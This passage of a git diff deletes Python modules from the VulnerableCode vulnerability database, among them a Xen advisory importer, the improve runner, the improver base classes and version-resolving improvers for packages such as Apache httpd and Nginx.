dateparser.parse(timestamp).strftime("%Y-%m-%dT%H:%M:%SZ") - - ssvc_vector += f"{timestamp_formatted}/" - return ssvc_vector, decision diff --git a/vulnerabilities/importers/xen.py b/vulnerabilities/importers/xen.py deleted file mode 100644 index a0cafa324..000000000 --- a/vulnerabilities/importers/xen.py +++ /dev/null @@ -1,88 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import Importer -from vulnerabilities.references import XsaReference -from vulnerabilities.utils import fetch_response -from vulnerabilities.utils import is_cve - - -class XenImporter(Importer): - - url = "https://xenbits.xen.org/xsa/xsa.json" - spdx_license_expression = "LicenseRef-scancode-other-permissive" - notice = """ - From: George Dunlap - Date: Wed, Jan 25, 2023 at 4:57 PM - Subject: Re: Usage of Xen Security Data in VulnerableCode - To: Tushar Goel - Cc: Andrew Cooper , xen-devel@lists.xenproject.org , Xen Security , Philippe Ombredanne , - - On Thu, Jan 19, 2023 at 1:10 PM Tushar Goel wrote: - > - > Hi Andrew, - > - > > Maybe we want to make it CC-BY-4 to require people to reference back to - > > the canonical upstream ? - > Thanks for your response, can we have a more declarative statement on - > the license from your end - > and also can you please provide your acknowledgement over the usage of - > Xen security data in vulnerablecode. - - - Hey Tushar, - Informally, the Xen Project Security Team is happy for you to include the data from xsa.json in your open-source vulnerability database. As a courtesy we'd request that it be documented where the information came from. (I think if the data includes links to then advisories on our website, that will suffice.) - Formally, we're not copyright lawyers; but we don't think there's anything copyright-able in the xsa.json: There is no editorial or creative control in the generation of that file; it's just a collection of facts which you could re-generate by scanning all the advisories. (In fact that's exactly how the file is created; i.e., the collection of advisory texts is our "source of truth".) - We do have "Officially license all advisory text as CC-BY-4" on our to-do list; if you'd be more comfortable with an official license for xsa.json as well, we can add that to the list. - - -George - """ - importer_name = "Xen Importer" - - def advisory_data(self): - data = fetch_response(self.url).json() - # The data looks like this - # [ - # { - # "xsas": [ - # { - # "cve": [ - # "CVE-2012-5510" - # ], - # "title": "XSA-1: Xen security advisory", - # } - # ] - # } - # ] - if not data: - return [] - xsas = data[0]["xsas"] - for xsa in xsas: - yield from self.to_advisories(xsa) - - def to_advisories(self, xsa): - xsa_id = xsa.get("xsa") - references = [] - url = self.url - if xsa_id: - xsa_reference = XsaReference.from_number(number=xsa_id) - url = xsa_reference.url - references.append(xsa_reference) - title = xsa.get("title") - for cve in xsa.get("cve") or []: - # TODO: https://github.com/nexB/vulnerablecode/issues/981 - if not is_cve(cve): - continue - yield AdvisoryData( - aliases=[cve], - summary=title, - references=references, - url=url, - ) diff --git a/vulnerabilities/improve_runner.py b/vulnerabilities/improve_runner.py deleted file mode 100644 index 452e1e2f6..000000000 --- a/vulnerabilities/improve_runner.py +++ /dev/null @@ -1,292 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import logging -from traceback import format_exc as traceback_format_exc -from typing import List - -from django.core.exceptions import ValidationError -from django.db import transaction - -from vulnerabilities.importers import IMPORTERS_REGISTRY -from vulnerabilities.improver import Inference -from vulnerabilities.models import Advisory -from vulnerabilities.models import AffectedByPackageRelatedVulnerability -from vulnerabilities.models import Alias -from vulnerabilities.models import FixingPackageRelatedVulnerability -from vulnerabilities.models import Package -from vulnerabilities.models import Vulnerability -from vulnerabilities.models import VulnerabilityChangeLog -from vulnerabilities.models import VulnerabilityReference -from vulnerabilities.models import VulnerabilityRelatedReference -from vulnerabilities.models import VulnerabilitySeverity -from vulnerabilities.models import Weakness -from vulnerabilities.utils import get_importer_name - -logger = logging.getLogger(__name__) - - -class ImproveRunner: - """ - ImproveRunner is responsible for populating the database with any - consumable data. It does so in its ``run`` method by invoking the given - improver and parsing the returned Inferences into proper database fields - """ - - def __init__(self, improver_class): - self.improver_class = improver_class - - def run(self) -> None: - improver = self.improver_class() - logger.info(f"Running improver: {improver.qualified_name}") - for advisory in improver.interesting_advisories: - logger.info(f"Processing advisory: {advisory!r}") - try: - inferences = improver.get_inferences(advisory_data=advisory.to_advisory_data()) - process_inferences( - inferences=inferences, - advisory=advisory, - improver_name=improver.qualified_name, - ) - except Exception as e: - logger.info(f"Failed to process advisory: {advisory!r} with error {e!r}") - logger.info("Finished improving using %s.", self.improver_class.qualified_name) - - -@transaction.atomic -def process_inferences( - inferences: List[Inference], - advisory: Advisory, - improver_name: str, -): - """ - Return number of inferences processed. - An atomic transaction that updates both the Advisory (e.g. date_imported) - and processes the given inferences to create or update corresponding - database fields. - - This avoids failing the entire improver when only a single inference is - erroneous. Also, the atomic transaction for every advisory and its - inferences makes sure that date_imported of advisory is consistent. - """ - inferences_processed_count = 0 - - if not inferences: - logger.warning(f"Nothing to improve. Source: {improver_name} Advisory id: {advisory.id}") - return inferences_processed_count - - logger.info(f"Improving advisory id: {advisory.id}") - - for inference in inferences: - vulnerability = get_or_create_vulnerability_and_aliases( - vulnerability_id=inference.vulnerability_id, - aliases=inference.aliases, - summary=inference.summary, - advisory=advisory, - ) - - if not vulnerability: - logger.warning(f"Unable to get vulnerability for inference: {inference!r}") - continue - - for ref in inference.references: - - reference = VulnerabilityReference.objects.get_or_none( - reference_id=ref.reference_id, - reference_type=ref.reference_type, - url=ref.url, - ) - - if not reference: - reference = create_valid_vulnerability_reference( - reference_id=ref.reference_id, - reference_type=ref.reference_type, - url=ref.url, - ) - if not reference: - continue - - VulnerabilityRelatedReference.objects.update_or_create( - reference=reference, - vulnerability=vulnerability, - ) - - for severity in ref.severities: - _vs, updated = VulnerabilitySeverity.objects.update_or_create( - scoring_system=severity.system.identifier, - reference=reference, - defaults={ - "value": str(severity.value), - "scoring_elements": str(severity.scoring_elements), - }, - ) - if updated: - logger.info( - f"Severity updated for reference {ref!r} to value: {severity.value!r} " - f"and scoring_elements: {severity.scoring_elements!r}" - ) - - for affected_purl in inference.affected_purls or []: - vulnerable_package, created = Package.objects.get_or_create_from_purl( - purl=affected_purl - ) - AffectedByPackageRelatedVulnerability( - vulnerability=vulnerability, - package=vulnerable_package, - created_by=improver_name, - confidence=inference.confidence, - ).update_or_create( - advisory=advisory, - ) - - if inference.fixed_purl: - fixed_package, created = Package.objects.get_or_create_from_purl( - purl=inference.fixed_purl - ) - FixingPackageRelatedVulnerability( - vulnerability=vulnerability, - package=fixed_package, - created_by=improver_name, - confidence=inference.confidence, - ).update_or_create( - advisory=advisory, - ) - - if inference.weaknesses and vulnerability: - for cwe_id in inference.weaknesses: - cwe_obj, created = Weakness.objects.get_or_create(cwe_id=cwe_id) - cwe_obj.vulnerabilities.add(vulnerability) - cwe_obj.save() - - inferences_processed_count += 1 - return inferences_processed_count - - -def create_valid_vulnerability_reference(url, reference_type="", reference_id=None): - """ - Create and return a new validated VulnerabilityReference from a - ``url`` and ``reference_id``. - Return None and log a warning if this is not a valid reference. - """ - reference = VulnerabilityReference( - reference_id=reference_id, - reference_type=reference_type, - url=url, - ) - - try: - reference.full_clean() - except ValidationError as e: - logger.warning(f"Invalid vulnerability reference: {reference!r}: {e}") - return - - reference.save() - return reference - - -def get_or_create_vulnerability_and_aliases( - aliases: List[str], vulnerability_id=None, summary=None, advisory=None -): - """ - Get or create vulnerabilitiy and aliases such that all existing and new - aliases point to the same vulnerability - """ - aliases = set(alias.strip() for alias in aliases if alias and alias.strip()) - new_alias_names, existing_vulns = get_vulns_for_aliases_and_get_new_aliases(aliases) - - # All aliases must point to the same vulnerability - vulnerability = None - if existing_vulns: - if len(existing_vulns) != 1: - vcids = ", ".join(v.vulnerability_id for v in existing_vulns) - logger.error( - f"Cannot create vulnerability. " - f"Aliases {aliases} already exist and point " - f"to multiple vulnerabilities {vcids}." - ) - return - else: - vulnerability = existing_vulns.pop() - - if vulnerability_id and vulnerability.vulnerability_id != vulnerability_id: - logger.error( - f"Cannot create vulnerability. " - f"Aliases {aliases} already exist and point to a different " - f"vulnerability {vulnerability} than the requested " - f"vulnerability {vulnerability_id}." - ) - return - - if vulnerability_id and not vulnerability: - try: - vulnerability = Vulnerability.objects.get(vulnerability_id=vulnerability_id) - except Vulnerability.DoesNotExist: - logger.error(f"Cannot get requested vulnerability {vulnerability_id}.") - return - if vulnerability: - # TODO: We should keep multiple summaries, one for each advisory - # if summary and summary != vulnerability.summary: - # logger.warning( - # f"Inconsistent summary for {vulnerability.vulnerability_id}. " - # f"Existing: {vulnerability.summary!r}, provided: {summary!r}" - # ) - associate_vulnerability_with_aliases(vulnerability=vulnerability, aliases=new_alias_names) - else: - try: - vulnerability = create_vulnerability_and_add_aliases( - aliases=new_alias_names, summary=summary - ) - importer_name = get_importer_name(advisory) - VulnerabilityChangeLog.log_import( - importer=importer_name, - source_url=advisory.url, - vulnerability=vulnerability, - ) - except Exception as e: - logger.error( - f"Cannot create vulnerability with summary {summary!r} and {new_alias_names!r} {e!r}.\n{traceback_format_exc()}." - ) - return - - return vulnerability - - -def get_vulns_for_aliases_and_get_new_aliases(aliases): - """ - Return ``new_aliases`` that are not in the database and - ``existing_vulns`` that point to the given ``aliases``. - """ - new_aliases = set(aliases) - existing_vulns = set() - for alias in Alias.objects.filter(alias__in=aliases): - existing_vulns.add(alias.vulnerability) - new_aliases.remove(alias.alias) - return new_aliases, existing_vulns - - -@transaction.atomic -def create_vulnerability_and_add_aliases(aliases, summary): - """ - Return a new ``vulnerability`` created with ``summary`` - and associate the ``vulnerability`` with ``aliases``. - Raise exception if no alias is associated with the ``vulnerability``. - """ - vulnerability = Vulnerability(summary=summary) - vulnerability.save() - associate_vulnerability_with_aliases(aliases, vulnerability) - if not vulnerability.aliases.count(): - raise Exception(f"Vulnerability {vulnerability.vcid} must have one or more aliases") - return vulnerability - - -def associate_vulnerability_with_aliases(aliases, vulnerability): - for alias_name in aliases: - alias = Alias(alias=alias_name, vulnerability=vulnerability) - alias.save() - logger.info(f"New alias for {vulnerability!r}: {alias_name}") diff --git a/vulnerabilities/improver.py b/vulnerabilities/improver.py deleted file mode 100644 index 0d5e7f13d..000000000 --- a/vulnerabilities/improver.py +++ /dev/null @@ -1,141 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import dataclasses -import logging -from typing import Iterable -from typing import List -from typing import Optional -from uuid import uuid4 - -from django.db.models.query import QuerySet -from packageurl import PackageURL - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import Reference -from vulnerabilities.utils import classproperty - -logger = logging.getLogger(__name__) - -MAX_CONFIDENCE = 100 - - -@dataclasses.dataclass(order=True) -class Inference: - """ - This data class expresses the contract between improvers and the improve runner. - - Only inferences with highest confidence for one vulnerability <-> package - relationship is to be inserted into the database - """ - - vulnerability_id: str = None - aliases: Optional[List[str]] = dataclasses.field(default_factory=list) - confidence: int = MAX_CONFIDENCE - summary: Optional[str] = "" - affected_purls: Optional[List[PackageURL]] = dataclasses.field(default_factory=list) - fixed_purl: PackageURL = None - references: List[Reference] = dataclasses.field(default_factory=list) - weaknesses: List[int] = dataclasses.field(default_factory=list) - - def __post_init__(self): - if self.confidence > MAX_CONFIDENCE or self.confidence < 0: - raise ValueError - - assert ( - self.vulnerability_id - or self.aliases - or self.summary - or self.affected_purls - or self.fixed_purl - or self.references - or self.weaknesses - ) - - versionless_purls = [] - purls = [] - if self.fixed_purl: - purls.append(self.fixed_purl) - if self.affected_purls: - purls.extend(self.affected_purls) - for purl in purls: - if purl and not purl.version: - versionless_purls.append(purl) - - assert ( - not versionless_purls - ), f"Version-less purls are not supported in an Inference: {versionless_purls}" - - def to_dict(self): - """ - Return a dict representation of this Inference - """ - from vulnerabilities.utils import purl_to_dict - - return { - "vulnerability_id": self.vulnerability_id, - "aliases": self.aliases, - "confidence": self.confidence, - "summary": self.summary, - "affected_purls": [ - purl_to_dict(affected_purl) for affected_purl in self.affected_purls - ], - "fixed_purl": purl_to_dict(self.fixed_purl) if self.fixed_purl else None, - "references": [ref.to_dict() for ref in self.references], - "weaknesses": self.weaknesses, - } - - @classmethod - def from_advisory_data(cls, advisory_data, confidence, fixed_purl, affected_purls=None): - """ - Return an Inference object while keeping the same values as of advisory_data - for aliases, summary and references - """ - return cls( - aliases=advisory_data.aliases, - confidence=confidence, - summary=advisory_data.summary, - affected_purls=affected_purls or [], - fixed_purl=fixed_purl, - references=advisory_data.references, - weaknesses=advisory_data.weaknesses, - ) - - -class Improver: - """ - Improvers are responsible to improve already imported data by an importer. An improver is - required to override the ``interesting_advisories`` property method to return a QuerySet of - ``Advisory`` objects. These advisories are then passed to ``get_inferences`` method which is - responsible for returning an iterable of ``Inferences`` for that particular ``Advisory`` - """ - - @classproperty - def qualified_name(cls): - """ - Fully qualified name prefixed with the module name of the improver used in logging. - """ - return f"{cls.__module__}.{cls.__qualname__}" - - @property - def interesting_advisories(self) -> QuerySet: - """ - Return QuerySet for the advisories this improver is interested in. - - Subclasses must implement. - """ - raise NotImplementedError - - def get_inferences(self, advisory_data: AdvisoryData) -> Iterable[Inference]: - """ - Return an iterable of Inferences from the ``advisory data``. - - Subclasses must implement. - """ - raise NotImplementedError diff --git a/vulnerabilities/improvers/add_missing_refid.py b/vulnerabilities/improvers/add_missing_refid.py deleted file mode 100644 index d3d5efa72..000000000 --- a/vulnerabilities/improvers/add_missing_refid.py +++ /dev/null @@ -1,46 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import re -from typing import Iterable - -from django.db.models import Q -from django.db.models.query import QuerySet - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.improver import Improver -from vulnerabilities.improver import Inference -from vulnerabilities.models import VulnerabilityReference - -""" -Improver that looks for CVE References without an id and tries to set one. -""" - - -class CveIdImprover(Improver): - """ - Add a CVE reference id when missing. - Note that we only look for uppercase CVE for now - """ - - @property - def interesting_advisories(self) -> QuerySet: - return VulnerabilityReference.objects.filter( - Q(reference_id__isnull=True) | Q(reference_id__exact=""), - url__contains="nvd.nist.gov/vuln/detail/CVE-", - ) - - def get_inferences(self, advisory_data: AdvisoryData) -> Iterable[Inference]: - cve_pattern = re.compile(r"(CVE-\d{4}-\d{4,7})").search - for ref in self.interesting_advisories: - cve_match = cve_pattern(ref.url) - if cve_match: - cve = cve_match.group() - ref.reference_id = cve - ref.save() diff --git a/vulnerabilities/improvers/default.py b/vulnerabilities/improvers/default.py deleted file mode 100644 index f2e9009e8..000000000 --- a/vulnerabilities/improvers/default.py +++ /dev/null @@ -1,149 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import logging -from typing import Iterable -from typing import List -from typing import Tuple - -from django.db.models import Q -from django.db.models.query import QuerySet -from packageurl import PackageURL - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Importer -from vulnerabilities.improver import MAX_CONFIDENCE -from vulnerabilities.improver import Improver -from vulnerabilities.improver import Inference -from vulnerabilities.models import Advisory -from vulnerabilities.utils import update_purl_version - -logger = logging.getLogger(__name__) - - -class DefaultImprover(Improver): - """ - Generate a translation of Advisory data - returned by the importers - into - full confidence inferences. These are basic database relationships for - unstructured data present in the Advisory model without any other - information source. - """ - - importer: Importer - - @property - def interesting_advisories(self) -> QuerySet: - if hasattr(self, "importer"): - return ( - Advisory.objects.filter(Q(created_by=self.importer.qualified_name)) - .order_by("-date_collected") - .paginated() - ) - return Advisory.objects.all().order_by("-date_collected").paginated() - - def get_inferences(self, advisory_data: AdvisoryData) -> Iterable[Inference]: - if not advisory_data: - return [] - - if advisory_data.affected_packages: - for affected_package in advisory_data.affected_packages: - # To deal with multiple fixed versions in a single affected package - affected_purls, fixed_purls = get_exact_purls(affected_package) - if not fixed_purls: - yield Inference( - aliases=advisory_data.aliases, - confidence=MAX_CONFIDENCE, - summary=advisory_data.summary, - affected_purls=affected_purls, - fixed_purl=None, - references=advisory_data.references, - weaknesses=advisory_data.weaknesses, - ) - else: - for fixed_purl in fixed_purls or []: - yield Inference( - aliases=advisory_data.aliases, - confidence=MAX_CONFIDENCE, - summary=advisory_data.summary, - affected_purls=affected_purls, - fixed_purl=fixed_purl, - references=advisory_data.references, - weaknesses=advisory_data.weaknesses, - ) - - else: - yield Inference.from_advisory_data( - advisory_data, confidence=MAX_CONFIDENCE, fixed_purl=None - ) - - -def get_exact_purls(affected_package: AffectedPackage) -> Tuple[List[PackageURL], PackageURL]: - """ - Return a list of affected purls and the fixed package found in the ``affected_package`` - AffectedPackage disregarding any ranges. - - Only exact version constraints (ie with an equality) are considered - For eg: - >>> purl = {"type": "turtle", "name": "green"} - >>> vers = "vers:npm/<1.0.0 | >=2.0.0 | <3.0.0" - >>> affected_package = AffectedPackage.from_dict({ - ... "package": purl, - ... "affected_version_range": vers, - ... "fixed_version": "5.0.0" - ... }) - >>> got = get_exact_purls(affected_package) - >>> expected = ( - ... [PackageURL(type='turtle', namespace=None, name='green', version='2.0.0', qualifiers={}, subpath=None)], - ... [PackageURL(type='turtle', namespace=None, name='green', version='5.0.0', qualifiers={}, subpath=None)] - ... ) - >>> assert expected == got - """ - if not affected_package: - return [], [] - - try: - vr = affected_package.affected_version_range - # We need ``if c`` below because univers returns None as version - # in case of vers:nginx/* - # TODO: Revisit after https://github.com/nexB/univers/issues/33 - affected_purls = [] - fixed_versions = [] - if vr: - range_versions = [c.version for c in vr.constraints if c] - # Any version that's not affected by a vulnerability is considered - # fixed. - fixed_versions = [c.version for c in vr.constraints if c and c.comparator == "!="] - resolved_versions = [v for v in range_versions if v and v in vr] - for version in resolved_versions: - affected_purl = update_purl_version( - purl=affected_package.package, version=str(version) - ) - affected_purls.append(affected_purl) - - if affected_package.fixed_version: - fixed_versions.append(affected_package.fixed_version) - - fixed_purls = [ - update_purl_version(purl=affected_package.package, version=str(version)) - for version in fixed_versions - ] - return affected_purls, fixed_purls - except Exception as e: - logger.error(f"Failed to get exact purls for: {affected_package!r} with error: {e!r}") - return [], [] - - -class DefaultImporter(DefaultImprover): - def __init__(self, advisories) -> None: - self.advisories = advisories - - @property - def interesting_advisories(self) -> QuerySet: - return self.advisories diff --git a/vulnerabilities/improvers/valid_versions.py b/vulnerabilities/improvers/valid_versions.py deleted file mode 100644 index 6fe102fae..000000000 --- a/vulnerabilities/improvers/valid_versions.py +++ /dev/null @@ -1,477 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import dataclasses -import logging -from datetime import datetime -from typing import Iterable -from typing import List -from typing import Optional - -from django.db.models import Q -from django.db.models.query import QuerySet -from fetchcode import package_versions -from packageurl import PackageURL -from univers.versions import NginxVersion - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Importer -from vulnerabilities.importer import UnMergeablePackageError -from vulnerabilities.importers.apache_httpd import ApacheHTTPDImporter -from vulnerabilities.importers.apache_kafka import ApacheKafkaImporter -from vulnerabilities.importers.apache_tomcat import ApacheTomcatImporter -from vulnerabilities.importers.curl import CurlImporter -from vulnerabilities.importers.debian import DebianImporter -from vulnerabilities.importers.debian_oval import DebianOvalImporter -from vulnerabilities.importers.elixir_security import ElixirSecurityImporter -from vulnerabilities.importers.github_osv import GithubOSVImporter -from vulnerabilities.importers.istio import IstioImporter -from vulnerabilities.importers.oss_fuzz import OSSFuzzImporter -from vulnerabilities.importers.ruby import RubyImporter -from vulnerabilities.improver import MAX_CONFIDENCE -from vulnerabilities.improver import Improver -from vulnerabilities.improver import Inference -from vulnerabilities.models import Advisory -from vulnerabilities.pipelines import VulnerableCodeBaseImporterPipeline -from vulnerabilities.pipelines.github_importer import GitHubAPIImporterPipeline -from vulnerabilities.pipelines.gitlab_importer import GitLabImporterPipeline -from vulnerabilities.pipelines.nginx_importer import NginxImporterPipeline -from vulnerabilities.pipelines.npm_importer import NpmImporterPipeline -from vulnerabilities.utils import AffectedPackage as LegacyAffectedPackage -from vulnerabilities.utils import clean_nginx_git_tag -from vulnerabilities.utils import get_affected_packages_by_patched_package -from vulnerabilities.utils import is_vulnerable_nginx_version -from vulnerabilities.utils import nearest_patched_package -from vulnerabilities.utils import resolve_version_range -from vulnerabilities.utils import update_purl_version - -logger = logging.getLogger(__name__) - - -@dataclasses.dataclass(order=True, init=False) -class ValidVersionImprover(Improver): - importer: Importer - ignorable_versions: List[str] = dataclasses.field(default_factory=list) - - @property - def interesting_advisories(self) -> QuerySet: - if issubclass(self.importer, VulnerableCodeBaseImporterPipeline): - return Advisory.objects.filter(Q(created_by=self.importer.pipeline_id)).paginated() - return Advisory.objects.filter(Q(created_by=self.importer.qualified_name)).paginated() - - def get_package_versions( - self, package_url: PackageURL, until: Optional[datetime] = None - ) -> List[str]: - """ - Return a list of versions published before `until` for the `package_url` - """ - versions = package_versions.versions(str(package_url)) - versions_before_until = [] - for version in versions or []: - if until and version.release_date and version.release_date > until: - continue - versions_before_until.append(version.value) - - return versions_before_until - - def get_inferences(self, advisory_data: AdvisoryData) -> Iterable[Inference]: - """ - Yield Inferences for the given advisory data - """ - mergable = True - if not advisory_data.affected_packages: - return - - try: - purl, affected_version_ranges, fixed_versions = AffectedPackage.merge( - advisory_data.affected_packages - ) - except UnMergeablePackageError: - logger.error(f"Cannot merge with different purls {advisory_data.affected_packages!r}") - mergable = False - - if not mergable: - for affected_package in advisory_data.affected_packages: - purl = affected_package.package - affected_version_range = affected_package.affected_version_range - fixed_version = affected_package.fixed_version - pkg_type = purl.type - pkg_namespace = purl.namespace - pkg_name = purl.name - if not affected_version_range and fixed_version: - yield Inference.from_advisory_data( - advisory_data, # We are getting all valid versions to get this inference - confidence=MAX_CONFIDENCE, - affected_purls=[], - fixed_purl=PackageURL( - type=pkg_type, - namespace=pkg_namespace, - name=pkg_name, - version=str(fixed_version), - ), - ) - else: - valid_versions = self.get_package_versions( - package_url=purl, until=advisory_data.date_published - ) - yield from self.generate_inferences( - affected_version_range=affected_version_range, - pkg_type=pkg_type, - pkg_namespace=pkg_namespace, - pkg_name=pkg_name, - valid_versions=valid_versions, - advisory_data=advisory_data, - ) - - else: - pkg_type = purl.type - pkg_namespace = purl.namespace - pkg_name = purl.name - pkg_qualifiers = purl.qualifiers - fixed_purls = [ - PackageURL( - type=pkg_type, - namespace=pkg_namespace, - name=pkg_name, - version=str(version), - qualifiers=pkg_qualifiers, - ) - for version in fixed_versions - ] - if not affected_version_ranges: - for fixed_purl in fixed_purls or []: - yield Inference.from_advisory_data( - advisory_data, # We are getting all valid versions to get this inference - confidence=MAX_CONFIDENCE, - affected_purls=[], - fixed_purl=fixed_purl, - ) - else: - valid_versions = self.get_package_versions( - package_url=purl, until=advisory_data.date_published - ) - for affected_version_range in affected_version_ranges: - yield from self.generate_inferences( - affected_version_range=affected_version_range, - pkg_type=pkg_type, - pkg_namespace=pkg_namespace, - pkg_name=pkg_name, - valid_versions=valid_versions, - advisory_data=advisory_data, - ) - - def generate_inferences( - self, - affected_version_range, - pkg_type, - pkg_namespace, - pkg_name, - valid_versions, - advisory_data, - ): - """ - Generate Inferences for the given `affected_version_range` and `valid_versions` - """ - aff_vers, unaff_vers = resolve_version_range( - affected_version_range=affected_version_range, - ignorable_versions=self.ignorable_versions, - package_versions=valid_versions, - ) - - affected_purls = list( - self.expand_verion_range_to_purls(pkg_type, pkg_namespace, pkg_name, aff_vers) - ) - - unaffected_purls = list( - self.expand_verion_range_to_purls(pkg_type, pkg_namespace, pkg_name, unaff_vers) - ) - - affected_packages: List[LegacyAffectedPackage] = nearest_patched_package( - vulnerable_packages=affected_purls, resolved_packages=unaffected_purls - ) - - for ( - fixed_package, - affected_purls, - ) in get_affected_packages_by_patched_package(affected_packages).items(): - yield Inference.from_advisory_data( - advisory_data, - confidence=100, # We are getting all valid versions to get this inference - affected_purls=affected_purls, - fixed_purl=fixed_package, - ) - - def expand_verion_range_to_purls(self, pkg_type, pkg_namespace, pkg_name, versions): - for version in versions: - yield PackageURL(type=pkg_type, namespace=pkg_namespace, name=pkg_name, version=version) - - -class NginxBasicImprover(Improver): - """ - Improve Nginx data by fetching the its GitHub repo versions and resolving - the vulnerable ranges. - """ - - @property - def interesting_advisories(self) -> QuerySet: - return Advisory.objects.filter(created_by=NginxImporterPipeline.pipeline_id).paginated() - - def get_inferences(self, advisory_data: AdvisoryData) -> Iterable[Inference]: - all_versions = list(self.fetch_nginx_version_from_git_tags()) - yield from self.get_inferences_from_versions( - advisory_data=advisory_data, all_versions=all_versions - ) - - def get_inferences_from_versions( - self, advisory_data: AdvisoryData, all_versions: List[str] - ) -> Iterable[Inference]: - """ - Yield inferences given an ``advisory_data`` and a ``all_versions``. - """ - - try: - purl, affected_version_ranges, fixed_versions = AffectedPackage.merge( - advisory_data.affected_packages - ) - except UnMergeablePackageError: - logger.error( - f"NginxBasicImprover: Cannot merge with different purls: " - f"{advisory_data.affected_packages!r}" - ) - return iter([]) - - affected_purls = [] - for affected_version_range in affected_version_ranges: - for version in all_versions: - # FIXME: we should reference an NginxVersion tbd in univers - version = NginxVersion(version) - if is_vulnerable_nginx_version( - version=version, - affected_version_range=affected_version_range, - fixed_versions=fixed_versions, - ): - new_purl = update_purl_version(purl=purl, version=str(version)) - affected_purls.append(new_purl) - - # TODO: This also yields with a lower fixed version, maybe we should - # only yield fixes that are upgrades ? - for fixed_version in fixed_versions: - fixed_purl = update_purl_version(purl=purl, version=str(fixed_version)) - - yield Inference.from_advisory_data( - advisory_data, - # TODO: is 90 a correct confidence?? - confidence=90, - affected_purls=affected_purls, - fixed_purl=fixed_purl, - ) - - def fetch_nginx_version_from_git_tags(self): - """ - Yield all nginx version from its git tags. - """ - nginx_versions = package_versions.versions("pkg:github/nginx/nginx") - for version in nginx_versions or []: - cleaned = clean_nginx_git_tag(version.value) - yield cleaned - - -class ApacheHTTPDImprover(ValidVersionImprover): - importer = ApacheHTTPDImporter - ignorable_versions = { - "AGB_BEFORE_AAA_CHANGES", - "APACHE_1_2b1", - "APACHE_1_2b10", - "APACHE_1_2b11", - "APACHE_1_2b2", - "APACHE_1_2b3", - "APACHE_1_2b4", - "APACHE_1_2b5", - "APACHE_1_2b6", - "APACHE_1_2b7", - "APACHE_1_2b8", - "APACHE_1_2b9", - "APACHE_1_3_PRE_NT", - "APACHE_1_3a1", - "APACHE_1_3b1", - "APACHE_1_3b2", - "APACHE_1_3b3", - "APACHE_1_3b5", - "APACHE_1_3b6", - "APACHE_1_3b7", - "APACHE_2_0_2001_02_09", - "APACHE_2_0_52_WROWE_RC1", - "APACHE_2_0_ALPHA", - "APACHE_2_0_ALPHA_2", - "APACHE_2_0_ALPHA_3", - "APACHE_2_0_ALPHA_4", - "APACHE_2_0_ALPHA_5", - "APACHE_2_0_ALPHA_6", - "APACHE_2_0_ALPHA_7", - "APACHE_2_0_ALPHA_8", - "APACHE_2_0_ALPHA_9", - "APACHE_2_0_BETA_CANDIDATE_1", - "APACHE_BIG_SYMBOL_RENAME_POST", - "APACHE_BIG_SYMBOL_RENAME_PRE", - "CHANGES", - "HTTPD_LDAP_1_0_0", - "INITIAL", - "MOD_SSL_2_8_3", - "PCRE_3_9", - "POST_APR_SPLIT", - "PRE_APR_CHANGES", - "STRIKER_2_0_51_RC1", - "STRIKER_2_0_51_RC2", - "STRIKER_2_1_0_RC1", - "WROWE_2_0_43_PRE1", - "apache-1_3-merge-1-post", - "apache-1_3-merge-1-pre", - "apache-1_3-merge-2-post", - "apache-1_3-merge-2-pre", - "apache-apr-merge-3", - "apache-doc-split-01", - "dg_last_1_2_doc_merge", - "djg-apache-nspr-07", - "djg_nspr_split", - "moving_to_httpd_module", - "mpm-3", - "mpm-merge-1", - "mpm-merge-2", - "post_ajp_proxy", - "pre_ajp_proxy", - } - - -class ApacheTomcatImprover(ValidVersionImprover): - importer = ApacheTomcatImporter - ignorable_versions = [] - - -class ApacheKafkaImprover(ValidVersionImprover): - importer = ApacheKafkaImporter - ignorable_versions = [] - - -class DebianBasicImprover(ValidVersionImprover): - importer = DebianImporter - ignorable_versions = [] - - -class GitLabBasicImprover(ValidVersionImprover): - importer = GitLabImporterPipeline - ignorable_versions = [] - - -class GitHubBasicImprover(ValidVersionImprover): - importer = GitHubAPIImporterPipeline - ignorable_versions = frozenset( - [ - "0.1-bulbasaur", - "0.1-charmander", - "0.3m1", - "0.3m2", - "0.3m3", - "0.3m4", - 